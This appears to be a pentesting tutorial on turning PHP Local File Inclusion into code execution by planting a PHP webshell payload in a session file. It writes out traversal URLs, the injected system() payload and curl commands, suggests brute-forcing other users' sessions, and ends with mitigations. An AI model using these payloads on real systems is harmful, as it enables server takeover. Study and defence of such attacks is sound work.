Local File Inclusion (LFI) vulnerabilities are often underestimated, but when combined with PHP session files, they can be escalated into full Remote Code Execution (RCE). This is especially true in legacy applications running PHP 5, where session handling is less secure. ๐ฅ๐ง ๐ป
In this complete guide, we'll explore how attackers abuse PHP session files to execute arbitrary code, turning a simple inclusion bug into a critical exploit chain.

Disclaimer: This content is for educational purposes only. The author is not responsible for any use or misuse of the information provided. You are solely responsible for your actions. Always act ethically and ensure you have proper authorization.
If you're exploring Local File Inclusion (LFI) and wondering how attackers escalate it into Remote Code Execution (RCE) โ one underrated method is exploiting PHP session files, especially in PHP 5. This guide shows how LFI can become RCE through PHP session hijacking, with full technical breakdowns and examples.
๐ What Are PHP Sessions?
PHP uses sessions to store temporary data (e.g. login tokens) for users. These are stored on the server โ usually in files.
๐๏ธ Default Session Storage Path (PHP 5):
/var/lib/php5/sess_<SESSION_ID>Each session file contains serialized PHP data, like this:
username|s:5:"admin";The filename is based on the PHPSESSID cookie. So if your cookie is:
PHPSESSID=abcd1234Then the session file will be:
/var/lib/php5/sess_abcd1234๐ณ๏ธ LFI + Sessions = RCE
If you can inject PHP code into your session file and then include that file using LFI, PHP will parse and execute it, leading to RCE.
๐ ๏ธ Step-by-Step Attack
โ Step 1: Find LFI
Test the vulnerable endpoint:
https://target.com/index.php?page=../../../../etc/passwdIf this returns system content, LFI is confirmed.
โ Step 2: Set Malicious PHPSESSID
Use a predictable or forced session ID (e.g. via Burp Suite or curl):
Cookie: PHPSESSID=evil123โ Step 3: Inject PHP Code Into Session
Make a request that stores your PHP code into the session. Example (via POST or GET):
https://target.com/login.php?username=<?php system($_GET['cmd']); ?>This stores raw PHP into the session file:
username|s:29:"<?php system($_GET['cmd']); ?>";โ Step 4: Include the Session File via LFI
Access the session file through the LFI endpoint:
https://target.com/index.php?page=../../../../var/lib/php5/sess_evil123&cmd=id๐งช Expected Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)Boom! RCE achieved. ๐ฅ
๐งช Testing with curl
Inject code:
curl -b "PHPSESSID=evil123" "https://target.com/login.php?username=<?php system($_GET['cmd']); ?>"Trigger LFI:
curl "https://target.com/index.php?page=../../../../var/lib/php5/sess_evil123&cmd=whoami"๐ก๏ธ Mitigation Strategies
๐ซ Never include raw input:
// Bad
include($_GET['page']);โ Use a whitelist:
$pages = ['home' => 'home.php', 'about' => 'about.php'];
if (in_array($_GET['page'], array_keys($pages))) {
include($pages[$_GET['page']]);
}๐ Secure Session Storage
- Move session files out of webroot
- Use custom session handlers or database-based sessions
- Disable session file parsing by PHP
๐ง Harden PHP
allow_url_include = Offallow_url_fopen = Offopen_basedirrestrictions
๐ Final Tips for Pentesters
โ Session file locations may vary across distributions:
- Debian/Ubuntu PHP5:
/var/lib/php5/ - CentOS/RHEL PHP5:
/var/lib/php/session/
โ Try guessing other users' sessions or brute-forcing session IDs if predictable.
โ
Works best in PHP <= 5.6 with mod_php where session files are parsed.
With just a session injection and LFI, you can gain full code execution โ this is one of the stealthiest and most powerful LFI-to-RCE paths.